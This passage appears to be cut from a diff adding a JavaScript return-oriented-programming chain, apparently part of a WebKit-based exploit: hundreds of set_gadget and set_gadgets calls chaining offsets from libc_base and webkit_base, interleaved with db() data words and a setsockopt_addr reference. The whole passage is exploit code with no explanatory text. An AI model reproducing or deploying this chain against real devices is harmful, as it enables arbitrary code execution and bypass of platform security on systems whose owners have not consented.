0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+397216, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+397304, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+397320, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+397480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+397512, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+397464, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+397496, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+397608, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+397592, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+397704, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+397792, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+397808, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+397952, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+397920, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+397936, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+398056, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+362504, +libc_base+863109, +libc_base+713278 +]); +db([4294967264, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([51, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([41, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+398336, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([24, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+398424, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+398440, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+398600, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+398632, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+398584, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+398616, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+398728, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+398712, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+398832, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+400624, +libc_base+863109, +libc_base+713278 +]); +db([4294967256, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+398976, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+398992, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+398960, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+399120, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+399152, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+399136, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+399264, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+399256, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+399280, +ropchain+399744, +libc_base+388400, +libc_base+713278, +ropchain+399352, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+399512, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+399544, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+399496, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+399528, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+399624, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+399640, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+399736, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+399720, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+399800, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+399888, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+399904, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+400032, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+400048, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+400016, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+400152, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+400168, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+400288, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+400272, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+400376, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+400360, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+400480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+400496, +webkit_base+4687784, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+400616, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+400600, +webkit_base+4687784, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+489696,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+401944, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+402016, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+402080, +webkit_base+4687784, +libc_base+740138, +webkit_base+1420514 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([16, 0]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+713278 +]); +db([16, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+402232, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+402248, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+402368, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+402352, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+2989859, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+402488, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+713278, +ropchain+402544, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+713278, +ropchain+402608, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+402696, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+402712, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+402872, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+402904, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+402856, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+402888, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+402984, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+403000, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+403096, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+403080, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+388400, +libc_base+713278, +ropchain+403192, +webkit_base+4687784, +libc_base+768796 +]); +db([256, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([256, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+403336, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+403352, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+403320, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +webkit_base+15055763, +webkit_base+47019, +libc_base+232261, +libc_base+713278, +ropchain+403528, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+403544, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+403512, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+403672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+403704, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+403688, +webkit_base+4687784, +libc_base+713278 +]); +db([0, 0]); +set_gadget(webkit_base+3789839,); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+11809960, +libc_base+232261, +webkit_base+426067, +libc_base+713278, +ropchain+403816, +libc_base+507828, +libc_base+145226, +libc_base+713278, +ropchain+403808, +webkit_base+4687784, +webkit_base+1816389, +libc_base+489696 +]); +db([0, 0]); +set_gadgets([ +ropchain+403832, +ropchain+403848, +libc_base+489696, +ropchain+403864, +libc_base+489696, +ropchain+406760, +libc_base+713278, +ropchain+403920, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+404008, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+404024, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+404168, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+404184, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+404152, +webkit_base+4687784, +libc_base+713278 +]); +db([32, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+404272, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+404288, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+404432, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+404400, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+404416, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+404504, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+430587, +libc_base+713278, +ropchain+404560, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+404656, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+404744, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+404760, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+404920, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+404952, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+404904, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+404936, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+405112, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+405064, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+405080, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([4, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+1537212, +libc_base+713278, +ropchain+405192, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+405208, +webkit_base+4687784, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+764700, +libc_base+713278, +ropchain+405296, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+405352, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+405480, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+405512, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+405496, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+405672, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+405704, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+405656, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+405688, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+405784, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+405800, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+405896, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+405880, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+406000, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+409288, +libc_base+863109, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+406088, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+406176, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+406192, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149873, +libc_base+713278, +ropchain+406352, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+406384, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+406336, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+406368, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+406480, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+406464, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+406568, +webkit_base+4687784, +libc_base+713278 +]); +db([1, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+406640, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967284, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +webkit_base+972324, +libc_base+713278, +ropchain+406704, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+489696, +ropchain+402552, +libc_base+768796 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([2, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796 +]); +db([28, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+768796, +ropchain+406968, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+489696, +ropchain+407960, +libc_base+863109, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+407112, +webkit_base+4687784, +webkit_base+13378624, +libc_base+713278, +ropchain+407128, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+407096, +webkit_base+4687784, +webkit_base+3789839 +]); +db([0, 0]); +set_gadget(libc_base+165442,); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadgets([ +webkit_base+6264134, +libc_base+713278, +ropchain+407224, +webkit_base+4687784, +webkit_base+1816389, +libc_base+713278, +ropchain+407208, +webkit_base+4687784, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+768796,); +db([0, 0]); +set_gadget(libc_base+713278,); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278, +ropchain+407320, +webkit_base+4687784, +libc_base+740138, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+507828, +libc_base+713278, +ropchain+407408, +webkit_base+4687784, +libc_base+388400, +libc_base+713278, +ropchain+407424, +webkit_base+4687784, +libc_base+863109, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+407528, +webkit_base+4687784, +libc_base+863109, +libc_base+713278, +ropchain+407512, +webkit_base+4687784, +libc_base+388400, +libc_base+165442 +]); +db([0, 0]); +set_gadget(libc_base+772328,); +db([0, 0]); +set_gadgets([ +libc_base+149872, +libc_base+713278, +ropchain+407584, +webkit_base+4687784, +libc_base+863109, +libc_base+772328 +]); +db([0, 0]); +set_gadgets([ +webkit_base+972324, +libc_base+149872, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+713278, +ropchain+407712, +webkit_base+4687784, +libc_base+740138, +libc_base+713278, +ropchain+407696, +webkit_base+4687784, 